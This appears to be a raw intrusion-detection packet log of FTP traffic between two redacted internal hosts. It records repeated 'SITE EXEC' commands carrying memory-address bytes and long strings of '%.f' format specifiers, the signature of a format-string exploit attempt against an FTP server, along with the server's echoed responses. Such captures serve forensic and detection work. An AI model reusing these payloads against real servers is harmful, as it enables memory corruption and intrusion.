5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.299707 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12095 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD71087 Ack:
0xC9873A79 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490756 488796
32 30 30 2D 37 20 E0 DF FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.339262 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1263 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9873A79 Ack: 0x4DD7130B Win: 0x7C70
TcpLen: 32
TCP Options (3) => NOP NOP TS: 488798 490756
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.339362 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12096 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD7130B Ack:
0xC9873A79 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490760 488798
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
E0 DF FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.429142 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1264 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9873A79 Ack:
0x4DD71510 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488800 490760
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.429170 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1265 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9873A79 Ack:
0x4DD71510 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488800 490760
53 49 54 45 20 45 58 45 43 20 37 20 9A DF FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.432091 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12097 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD71510 Ack:
0xC9873C78 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490768 488800
32 30 30 2D 37 20 9A DF FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.439661 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1266 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9873C78 Ack:
0x4DD71794 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488803 490768
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.439762 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12098 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD71794 Ack:
0xC9873C78 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490770 488803
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
9A DF FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.519586 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1267 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9873C78 Ack:
0x4DD71999 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488805 490770
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.521559 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1268 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9873C78 Ack:
0x4DD71999 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488805 490770
53 49 54 45 20 45 58 45 43 20 37 20 54 DF FF FF SITE EXEC 7 T...
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:34.531100 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C8
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12099 IpLen:20
DgmLen:698 DF
***AP*** Seq: 0x4DD71999 Ack:
0xC9873E77 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490779 488805
32 30 30 2D 37 20 54 DF FF BF 2D 32 2D 32 30 30 200-7 T...-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
